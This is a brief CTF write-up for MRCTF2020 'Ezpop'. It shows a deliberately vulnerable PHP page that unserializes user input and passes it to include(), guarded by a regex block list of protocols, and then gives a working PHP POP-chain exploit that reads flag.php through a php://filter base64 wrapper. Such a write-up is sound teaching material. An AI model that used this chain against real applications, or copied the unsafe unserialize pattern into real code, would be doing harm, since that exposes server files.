[MRCTF2020]Ezpop 1

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    
    
    protected  $var;
    public function append($value){
    
    
        include($value);
    }
    public function __invoke(){
    
    
        $this->append($this->var);
    }
}

class Show{
    
    
    public $source;
    public $str;
    public function __construct($file='index.php'){
    
    
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";//尾
    }
    public function __toString(){
    
    
        return $this->str->source;
    }

    public function __wakeup(){
    
    
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    
    
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    
    
    public $p;
    public function __construct(){
    
    
        $this->p = array();
    }

    public function __get($key){
    
    
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    
    
    @unserialize($_GET['pop']);
}
else{
    
    
    $a=new Show;
    highlight_file(__FILE__);
} 

poc链构造:

<?php
class Modifier {
    
    
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    
    
    public $source;
    public $str;
    public function __construct($file='index.php'){
    
    
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
    
    
        return $this->str->source;
    }

}

class Test{
    
    
    public $p;
    public function __get($key){
    
    
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();

echo serialize($a);

总结:
php反序列化
pop链的构造